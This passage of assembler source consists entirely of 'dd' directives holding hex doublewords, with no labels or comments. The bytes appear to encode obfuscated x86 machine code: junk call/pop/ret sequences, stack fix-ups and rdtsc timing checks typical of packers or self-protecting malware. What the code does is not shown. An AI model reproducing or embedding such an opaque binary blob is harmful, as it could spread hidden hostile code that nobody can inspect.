		dd 3000000h, 1F0ABDB5h,	81566106h, 324754D7h, 0C65F67h
		dd 99D8B00h, 0C7061F21h, 1F129185h, 6, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 42A2FE4Ah, 0FB8B66A3h, 0FFF382E9h, 0ED8589FFh, 8B061F19h
		dd 7D9D01C1h, 0BB061F2Bh, 3FF20AD0h, 19BD858Dh,	0BF0F061Fh
		dd 0E890F8FEh, 0Ch, 782B3EEBh, 0C7421E35h, 0FE49B0A9h
		dd 505BB2B3h, 6A90ACB7h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0EFCCC357h,	0B4C04852h
		dd 0FE70F41h, 9589DFB7h, 61F2CEDh, 8E9006Ah, 3A000000h
		dd 71108F1Dh, 9F12BFDh
		dd 1F2BFD85h, 6A006A06h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 738DC356h, 0AE9h, 43376400h
		dd 0A6138369h, 8D14BD4Bh, 23DD7085h, 0DFB70F06h, 6A05C083h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 7FE1C355h, 0C25946AAh, 90D62F36h,	0D88B5250h
		dd 5060310Fh, 5A310F52h, 0D18B6658h, 50585A61h,	11E8h
		dd 9DF54700h, 9B7EB3A1h, 146F55F4h, 73535750h, 0FE9AB9Bh
		dd 24000000h, 7B447DAAh, 0E9FFDFD9h, 0D8ED5DB1h, 905FA43Ah
		dd 2800Fh, 0DDB30000h, 0DB816660h, 61FCC751h, 6A006Ah
		dd 6800Fh, 95890000h, 61F0E75h,	16195FFh, 6A061Fh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0B593D2C3h, 8D8D4AB3h, 622B1F2h, 16BD8531h, 0D1FF061Fh
		dd 13E8h, 2576E000h, 0E5992836h, 4E19E5F9h, 0C68E1DB3h
		dd 9D1B4B94h, 2D559589h, 835F061Fh, 1F0EF5BDh, 850F0106h
		dd 88h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h
		dd 0F2C35141h, 0F7E1BEC0h, 0DD8589ECh, 0E9061F0Ch, 11h
		dd 4F6C2A72h, 398E86F0h, 23C802F6h, 0A34B7C7Fh,	60026A06h
		dd 2840Fh, 59500000h, 5870Fh, 81660000h, 61EB81E7h, 10E850h
		dd 40C20000h, 0A30A5F1Ch, 468D6EF7h, 5A64023Ah,	6E9D09Bh
		dd 0C5000000h, 0EBF3F5A5h, 4895B0Ah, 0ED953124h, 0FF061F2Ch
		dd 1F2F5595h, 0D8B70F06h, 0D37E9h, 0E800h, 815D0000h, 23DD7AEDh
		dd 0F3816606h, 880FFD6Eh, 6, 0A4D9D8Bh,	858D061Fh, 6228EE4h
		dd 8BFAB70Fh, 1F18C59Dh, 8B669006h, 0FE950F9h, 6C000000h
		dd 0BAACAECFh, 804892FEh, 65C51CDh, 6A90CC0Ch, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 3488C356h, 0EB8166FEh, 0FF64821Dh, 35h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 3297CAD5h, 0E9DD6A8Ch, 0DE8A7h, 7B410000h, 9E956524h
		dd 7218BFF0h, 8BCB185Eh, 1F1DB9BDh, 81665B06h, 64E64BDFh
		dd 2589h, 0D7810000h, 17021F33h, 102985FFh, 0BD8B061Fh
		dd 61F31C9h, 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0D028A7C3h, 1890Fh, 66F90000h, 86B1E781h
		dd 105DB5FFh, 8160061Fh, 912DE2EFh, 0FBBF0F3Ah,	0ED95FF61h
		dd 0E9061F1Ch, 109h, 0CC9B529h,	0B0061Fh, 0BEC070BFh, 5170E674h
		dd 18A5BD03h, 805B061Fh, 71E4ADCFh, 613CF1B7h, 0E3830Fh
		dd 31560000h, 1F2C9995h, 0B60F5F06h, 7BBF66C8h,	6BA2Dh
		dd 0BD890000h, 61F2C21h, 9E9C18Bh, 46000000h, 541493A3h
		dd 5C85619Eh, 6004E8C1h, 0D0DC7BB9h, 0CE83Ah, 27E50000h
		dd 489E9DC0h, 6CBA4ABCh, 8E924BFh, 45000000h, 21B7AB8Dh
		dd 589BC47Bh, 0E2F76661h, 12958589h, 0C82B061Fh, 0B3F38166h
		dd 0FD18B56h, 388h, 0FBD38000h,	70E9h, 95295600h, 61F175Dh
		dd 219D0B5Bh, 8B061F30h, 485h, 8D9D0B00h, 83061F12h, 0BF6607C0h
		dd 0C0833D01h, 0C7816600h, 0D03B5843h, 8830Fh, 41B30000h
		dd 38E9h, 8D8BF500h, 0FFFFFFFFh, 85896057h, 61F19A1h, 0E1835B61h
		dd 1E840F01h, 83000000h, 0FFFFFFA5h, 9D8BFEFFh,	61F2669h
		dd 49589h, 870F0000h, 0
		dd 0E9h, 0B9B58D00h, 0E806235Dh, 0Ah, 4CD059Bh,	0EA781AB0h
		dd 0DF8BE360h, 6A006A5Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 7B86C355h, 0D068FE3h
		dd 0AF47B6BDh, 1D4595FFh, 9E9061Fh, 51000000h, 31AA7065h
		dd 0B36461EFh, 100BB9h,	59B58900h, 83061F11h, 9531FCE1h
		dd 61F0891h, 56006AFCh,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0D2EAB2E7h, 0C02BD4E3h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 34C35141h, 0BA25DA21h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0C3C35141h
		dd 8DB49C66h, 0FDD8B6A4h, 4E381CCh, 0E843E6D4h,	0Ah, 9E64818h
		dd 0F717BCA3h, 0BD8B6052h, 61F057Dh, 0C233AD5Fh, 0D003E8D1h
		dd 7504E983h, 0DBB70FF4h, 13B59529h, 880D061Fh,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 52B1C351h, 5061236Ah, 8B3A6EDAh, 1F10E5BDh
		dd 41BD8906h, 8B061F12h, 1F0B5D95h, 0DE8B6606h,	20C58D8Bh
		dd 0B529061Fh, 61F1AADh, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 9E95818h,	0A7000000h, 4E783EE6h, 2F81ED1Ch
		dd 0E0DC08BBh, 8DBD8357h, 61F07h, 41840Fh, 0BD0B0000h
		dd 61F2089h, 0B8h, 8D8DF900h, 61F4DB0h,	0A7DBD8Bh, 0E1FF061Fh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0AC35343h
		dd 89FB8351h, 1F0A55B5h, 83D88B06h, 1F137DBDh, 840F0006h
		dd 408h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 15h,	73C35242h, 419D8BEDh, 83061F0Ah, 1F137DBDh, 840F0106h
		dd 3F3h, 19F59D8Bh, 0BD83061Fh,	61F137Dh, 0AA860F03h, 6A000003h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 72AFC351h, 0F560E4B7h, 6AD98C66h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 9B96C353h, 0CB2411ACh, 0F60AF8D8h, 0C8F0Fh, 8E0F0000h
		dd 6, 798D29h, 0B5B7061Fh, 6A04E180h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0F70FC353h
		dd 10E9h, 8279D00h, 0DB339AE4h,	5D5E71F3h, 9A85AF64h, 0FC90A6Ah
		dd 10784h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 8B0F04CDh, 6, 23C9B589h, 858B061Fh
		dd 61F0DC1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	11C35242h, 9DBD2321h, 8B061F2Ch, 1F23F1BDh, 0C9853306h
		dd 8B061F2Eh, 1F080DBDh, 56505006h, 9E8h, 0CF257900h, 7C29041h
		dd 5F5B0812h, 2404895Fh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 91C35646h, 28B5B065h,	281AC02Eh, 5DBD8BEDh
		dd 6A061F14h, 0DEB70F00h, 9A643CBBh, 64986842h,	8B6657E3h
		dd 243481DAh, 57FC6767h, 23D48A60h, 1F165195h, 95FF6106h
		dd 61F2DE1h, 0B2558589h, 6A0622h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 348DC4C3h, 0F8D7FF2Dh
		dd 8BDBBF0Fh, 1ACE9F8h,	85890000h, 61F155Dh, 0B24D858Bh
		dd 6A0622h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0DDFD9BC3h, 0BD9CA592h, 8B6052CFh, 1F12B995h
		dd 0C75F6106h, 1800h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 74C3153Bh, 7C052862h
		dd 0CAD38189h, 0F66F8BCh, 0B58BDEB7h, 622B251h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0EC35747h, 79EDA472h
		dd 8B23846Ch, 1F13A185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 6A068970h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0F29EC356h
		dd 27A3FA43h, 858BA77Eh, 61F0DC1h, 77D78166h, 446890Eh
		dd 9E9h, 4B492700h, 400CDABEh, 50965E86h, 0A59D8B96h, 0FF061F07h
		dd 22B24DB5h, 13E906h, 6100000h, 1EBF4678h, 268BC9A4h
		dd 3ED15D0Dh, 4FA404B1h, 0E97F6818h, 8D0FE1F4h,	5, 0F88B6657h
		dd 2404815Fh, 1E2A1A80h, 0B255858Dh, 6A0622h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 60A4C7C3h
		dd 0BF13FE9Dh, 3E74D648h, 1FAD9D8Bh, 0E890061Fh, 6, 0B6EAFEC2h
		dd 0F6086D6h, 8Eh, 505F6100h, 18830Fh, 13E90000h, 7D000000h
		dd 5A66D900h, 451232F5h, 98F245A6h, 0E6C3BF61h,	0F5908DC2h
		dd 2DE195FFh, 3350061Fh, 1F134DBDh, 6A615F06h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0DE54C355h, 8AFA7D98h, 7D85C7DCh, 3061F13h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0FE7C355h, 55BD83ADh, 622B2h, 0B840Fh, 21E90000h
		dd 3000000h, 1F3055BDh,	0C305006h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 13C35141h, 0EF2F45D5h, 0CDEE79FFh, 2D5DBD8Bh
		dd 0BD0B061Fh, 61F2005h, 2FD98D29h, 0BD83061Fh,	61F137Dh
		dd 84850F03h, 6A000004h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0AC14C353h,	8E8EEF8h
		dd 55000000h, 47740614h, 0FC4740Dh, 288h, 5B1AB700h, 0B255BD83h
		dd 0F000622h, 44284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 8970BFD8h, 1F0601B5h
		dd 55B5FF06h, 0F0622B2h, 58Ah, 60BF00h,	95FF6FC6h, 61F1BC9h
		dd 71D9D29h, 8B60061Fh,	1F0BD19Dh, 65958B06h, 61061F23h
		dd 0B249B58Bh, 6A0622h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 8B0FCFC3h, 1, 1F8C0FF9h,	0E8000000h
		dd 13h,	6CCEBB2Ch, 0DDCCE273h, 48E7A7ABh, 56BB54DFh, 898211E2h
		dd 1F0D25B5h, 6C75B06h,	10001h,	12E8h, 23A4600h, 0D09B5A64h
		dd 54794527h, 0D097786Dh, 5B19B5A3h, 0E8525050h, 11h, 0B3EC8497h
		dd 382373DBh, 79B713E2h, 2C78BC76h, 5B61600Dh, 5B53310Fh
		dd 3489585Ah, 59950924h, 0FF061F0Ch, 22B255B5h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0B5F2368h, 0FFA8B66h, 95FFDAB7h, 61F1621h, 253977BBh
		dd 49B58B56h, 6A0622B2h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 55B4C351h, 66626CAFh
		dd 81A1D381h, 2FF1858Bh, 8FBB061Fh, 8971A75Bh, 0C486h
		dd 118D8900h, 8B061F2Fh, 1F0B5D95h, 8E806h, 9D6D0000h
		dd 7F7D67E9h, 0B529CDD6h, 61F20FDh, 4C2835Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 75C35141h, 9BBE9AF1h
		dd 0BD33E334h, 61F14D5h, 0E8205089h, 8,	7C1DA9EAh, 0F5A5C5E1h
		dd 5FDFBF0Fh, 0C797858Dh, 6A0622h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0B19FBAC3h, 0AB30DDBBh
		dd 60DE3428h, 10E8h, 31A8EC00h,	0BE54741Dh, 8B59B12Dh
		dd 11B58B16h, 45858BF3h, 5F061F02h, 35BD8B61h, 89061F20h
		dd 0B886h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0F50B0D3Ch, 73B32479h
		dd 5E97Bh, 0C9650000h, 6A60886Ah, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 899815CEh
		dd 1F2E219Dh, 0DFBF0F06h, 0B255B5FFh, 6A0622h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 9474DDC3h, 0CDF0DC11h, 11950141h, 0FF061F02h, 1F2F5595h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 602105F7h, 0C18134B7h, 0B448D21h, 0BE95061h
		dd 92000000h, 0BEFC63F0h, 0AC023205h, 3489684Eh, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 8E93369h, 0CE000000h, 0BD00F74h, 0FF8E4D4Eh,	22B255B5h
		dd 8B605206h, 1F05899Dh, 0FF5B6106h, 1F0E1D95h,	69BD8B06h
		dd 83061F2Ch, 1F2C0DBDh, 840F0006h, 1Eh, 8E0F8BB3h, 5
		dd 25C38166h, 0FA8B9692h, 5850F50h, 0BB000000h,	1514941h
		dd 0B5FFF996h, 622B255h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ah, 1CC35040h, 3144034Bh,	830F60E1h, 0Ch
		dd 68C0Fh, 0B5290000h, 61F18C1h, 134995FFh, 6A061Fh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0A395E8C3h, 0C80006E8h, 0B5FF3D31h, 622B255h, 0F21BD31h
		dd 95FF061Fh, 61F1075h,	20CD9589h, 0BD83061Fh, 61F0009h
		dd 5E840F02h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0DCBCC357h,	0C28BF5CDh
		dd 8B01B400h, 1F175185h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 2DF1FE8Bh, 8BAC15BAh
		dd 85893A5Bh, 61F1619h,	890000C6h, 1F059D85h, 9185C706h
		dd 61F12h, 89000000h, 1F1701B5h, 49BD8906h, 0E9061F14h
		dd 0FFFFF3D4h, 0CAE2BF60h, 36B930C2h, 610FBE19h, 0D7816660h
		dd 850F937Eh, 1, 0C18B61FCh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 9BC35747h, 8D891754h, 61F31C1h
		dd 19BD858Dh, 6050061Fh, 12E9h,	72117200h, 9554E1DDh, 9BFB40F7h
		dd 0FB683753h, 61F74023h, 8B240489h, 1F08B1BDh,	88D38106h
		dd 6A10416Ah, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8B668233h, 0FD8D89FAh, 6A061F08h
		dd 0FAB70F00h, 2B29BD8Bh, 858D061Fh, 623EBFFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0C7C35747h, 5EC6BFF8h
		dd 0C08309C7h, 0DF8B6605h, 0D98B5090h, 3800F90h, 0F000000h
		dd 6AFABFh, 1BB99589h, 6A061Fh,	899D2960h, 0E9061F2Ah
		dd 6, 0F10CA10Ch, 0FF61C293h, 1F016195h, 0CDBD2906h, 8D061F12h
		dd 22B1F28Dh, 60D1FF06h, 9A3BA66h, 32759D29h, 8361061Fh
		dd 1F0EF5BDh, 850F0106h, 6Bh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0E9C35545h,	31522257h, 1F08019Dh
		dd 6AF88B06h, 0EB815702h, 6E5FA1B7h, 489505Bh, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 9B098E16h, 6860FF9h,	8B000000h, 1F1695BDh, 5595FF06h
		dd 66061F2Fh, 0E906FEBFh, 0C97h, 0E8h, 0ED815D00h, 623EC09h
		dd 7399D8Bh, 11E9061Fh,	0B3000000h, 0BAD2EB9Bh,	5FF4B5A4h
		dd 13BC3F92h, 4A9D54A9h, 950929B7h, 61F2F15h, 8EE4858Dh
		dd 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 6650C1C3h, 489FB8Bh, 0FF64F924h, 35h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 14083773h, 0FE8BB20Bh, 258964h, 66000000h, 870FD98Bh
		dd 4, 0AD7DBF66h, 102985FFh, 0BB66061Fh, 0FF6AD52Fh, 13E9h
		dd 0E747BE00h, 5C5462A8h, 0F51E9EBBh, 9A2E821Eh, 44357E45h
		dd 3291B5FFh, 8589061Fh, 61F0825h, 1CED95FFh, 1DE9061Fh
		dd 8B000001h, 1F2F959Dh, 8100B006h, 6CBC79D7h, 70E6F961h
		dd 2AE5BD29h, 71E4061Fh, 6E9h, 0AE536400h, 3CD79868h, 0F1830F61h
		dd 89000000h, 1F065985h, 0A18D3106h, 0F061F31h,	6BAC8B6h
		dd 60000000h, 2AE19533h, 0B70F061Fh, 0C18B61F1h, 0EB816651h
		dd 0C15F96FEh, 0B70F04E8h, 0E2F766FEh, 3880Fh, 8B660000h
		dd 0E9C82BFEh, 0Eh, 6B043E5Ah, 37227A7h, 8F515E1Dh, 0D18B28A4h
		dd 2810Fh, 0FA8B0000h, 92E9F8h,	95010000h, 61F0029h, 68E0Fh
		dd 8D890000h, 61F3259h,	4C44858Bh, 66F95F4Ch, 0D687F781h
		dd 0F07C083h, 68Fh, 1EDB8100h, 831FB402h, 0CB8100C0h, 27CA6C92h
		dd 830FD03Bh, 15h, 568B47BBh, 4AE970h, 0E9FC0000h, 5, 70E52673h
		dd 0FF8D8B2Ah, 31FFFFFFh, 1F1D4D85h, 1E18306h, 2A840Fh
		dd 0BB660000h, 0A583FED2h, 0FFFFFFFFh, 0BD3353FEh, 61F2E31h
		dd 4495895Bh, 0F5F4C4Ch, 68Ah, 820F00h,	0E9000000h, 0
		dd 6DC4B58Dh, 0BD8B0623h, 61F0739h, 0BD8B006Ah,	61F0211h
		dd 1D4595FFh, 6A061Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0B9F8E0C3h, 0DCAh, 11E8h, 0DE684400h
		dd 5A0B5CC4h, 8EC80718h, 2A894D8Bh, 0E95F6DD1h,	14h, 0D913ACDDh
		dd 4D5EE187h, 0E160F89Eh, 0C768901h, 0B08FBDDCh, 66FCE183h
		dd 8BFCFB8Bh, 1F1021BDh, 6AC02B06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 33E4C355h
		dd 1F10719Dh, 52D22B06h, 27499529h, 0AD5B061Fh,	0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0FE1C351h, 38Fh, 0FBBF0F00h
		dd 880Dh, 0EE900h, 0A0790000h, 0D1423883h, 65F51FB5h, 33D67D9Ch
		dd 0B5D958Bh, 0CB81061Fh, 67422780h, 20C58D8Bh,	0BD8B061Fh
		dd 61F2439h, 8BC28B50h,	8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 8F0F5818h, 6, 15C59D8Bh, 0DA8B061Fh,	78DBD83h, 0F00061Fh
		dd 6E84h, 0FE800h, 2C010000h, 23B06384h, 2D75FE27h, 0BB57C876h
		dd 0F98B660Bh, 0B85Bh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0CB1988C3h, 19787F3Fh
		dd 668FBB1Bh, 0DE9FE8Bh, 0
		dd 3317E81Ah, 0B32B27C6h, 0DEB536E8h, 4DB08D8Dh, 0BF66061Fh
		dd 8589A381h, 61F07F9h,	0D5BFE1FFh, 832EFAC5h, 1F137DBDh
		dd 840F0006h, 468h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0AC35646h, 0F80EB566h, 4D394770h, 137DBD83h
		dd 0F01061Fh, 45284h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 8091623Fh, 0C3809BE3h
		dd 7DBD832Ch, 3061F13h,	3EB860Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0B67081C3h
		dd 0A1E04FDCh, 8B0FE698h, 6, 13C98529h,	840F061Fh, 0Bh
		dd 5870Fh, 0EFBF0000h, 606B36D5h, 30299529h, 8C66061Fh
		dd 0C810FD9h, 0E9000000h, 7, 1D8745BDh,	8BA6FDFAh, 1F2E059Dh
		dd 4E18006h, 41C38166h,	0FC90A09h, 15A84h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 0AC73B6C1h, 818D89C9h, 60061F18h, 0FEADA80h,	688h, 0B1852900h
		dd 61061F31h, 0DC1858Bh, 8533061Fh, 61F2EC9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 81C35040h, 0B7DF0AD3h
		dd 8B609085h, 7E956FEh,	43000000h, 9E2AF47Ah, 615B1EFFh
		dd 0BD8B9050h, 61F074Dh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 8A1779C3h, 8B667E3Ah
		dd 0A2A68FBh, 481E2F0h,	2EF9D524h, 0B595891Dh, 0FF061F0Dh
		dd 1F2DE195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 630E6EA6h, 7FB21A42h, 718D8935h
		dd 89061F31h, 22B25585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0FC67FEDh, 10E8D8BFh
		dd 6B000000h, 0B597030Ch, 8B496705h, 8452F3A6h,	0E9578DB9h
		dd 0Dh,	4EF10179h, 1F01DF5Bh, 8DE13461h, 0DFE95B0Fh, 6A000001h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0F42BC355h, 8BF21C25h, 22B24D85h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 5D4B0675h, 1800C7h, 0BD310000h, 61F3259h, 0B251B58Bh
		dd 6A0622h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0BEB81DC3h, 0DFC75829h, 9B589DDh,	8B061F16h
		dd 1F13A185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 1CF66B55h, 0E8C4AA35h, 49958911h
		dd 89061F2Ah, 68A0F06h,	89000000h, 1F2DF995h, 0C1858B06h
		dd 8B061F0Dh, 44689FBh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 61C35040h, 820F8Ch, 8B000000h, 1F19A9BDh
		dd 0EE89606h, 3D000000h, 869E628h, 7C0449E6h, 0EB43999Eh
		dd 0F48A60FAh, 0BF505F61h, 4EA12A30h, 50006A96h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 37A8C223h, 0DE9h, 4849D200h,	0A7348F61h, 0DBFD6126h
		dd 0B5FF0C55h, 622B24Dh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 0D5C35646h, 561BFA4Bh, 2CA58501h, 0E85F061Fh
		dd 4, 1F03FFh, 0DE85250h, 0C9000000h, 4F41F427h, 9A16C87Fh
		dd 332F59DDh, 0F5FF8B3h, 810F5731h, 0
		dd 50585A5Fh, 5E9h, 32967200h, 448BC975h, 0FA8B0424h, 2BBB008Bh
		dd 895ACEB9h, 0BF042444h, 52E99AF4h, 55858D58h,	0BF0622B2h
		dd 33460D19h, 5062B790h, 15858990h, 0FF061F15h,	1F2DE195h
		dd 710FBB06h, 80616375h, 85C74DDFh, 61F137Dh, 3, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B8C35646h, 0A3BF6642h
		dd 55BD83ADh, 622B2h, 23840Fh, 8B0F0000h, 15h, 10E9h, 39C56D00h
		dd 52D4F6B3h, 9936B4CFh, 26E23D2Bh, 1EE9B6h, 0CF800000h
		dd 0C305059h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0CC35646h, 64393C06h, 805798CBh, 6A5BBCD7h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0EF60C351h, 83680066h, 1F137DBDh, 850F0306h,	3BEh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0E0C35646h, 56CA761Fh
		dd 5BFA8B66h, 0B255BD83h, 0F000622h, 38D84h, 5820F00h
		dd 66000000h, 7DC5E781h, 0B255B5FFh, 6A0622h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0CD6F04C3h
		dd 36693C56h, 95FFF98Ah, 61F1BC9h, 14E9h, 0FBA6C300h, 0AF920F1h
		dd 9373CB3Dh, 38BD47E4h, 0F67A356Ch, 49B58BCDh,	6A0622B2h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0EAFAC356h, 6830F6Ah, 89000000h, 1F1D0195h
		dd 106C706h, 0B000100h,	1F0DB19Dh, 8B579606h, 66505FF8h
		dd 8096FE8Bh, 0B5891BC7h, 61F0A0Dh, 0B255B5FFh,	94B30622h
		dd 162195FFh, 6A061Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 4E7A5DC3h, 0BD8B718Eh, 61F0C71h
		dd 285BD8Bh, 0B58B061Fh, 622B249h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 19C35242h, 0F1858B6Eh, 6A061F2Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 803C350h,	39BAF9F0h, 0FA4DE27Ah, 539BBB66h
		dd 30559589h, 8689061Fh, 0C4h, 0A719D89h, 958B061Fh, 61F0B5Dh
		dd 8840Fh, 890F0000h, 2, 0C2836160h, 859D8904h,	89061F0Dh
		dd 8D892050h, 61F23E9h,	0C797858Dh, 9D890622h, 61F18F1h
		dd 0B88689h, 0F8570000h, 51006A5Fh, 2BF5B589h, 0FF5B061Fh
		dd 22B255B5h, 6890F06h,	89000000h, 1F13B58Dh, 5595FF06h
		dd 6A061F2Fh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 81CBC350h, 3F2FD59Dh, 8B524773h
		dd 1F1FF59Dh, 50965F06h, 13E8h,	0C8181500h, 0AB66D839h
		dd 736421D6h, 3FDBAFDAh, 0C99D8D4Fh, 6A965Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0CAB0D4C3h
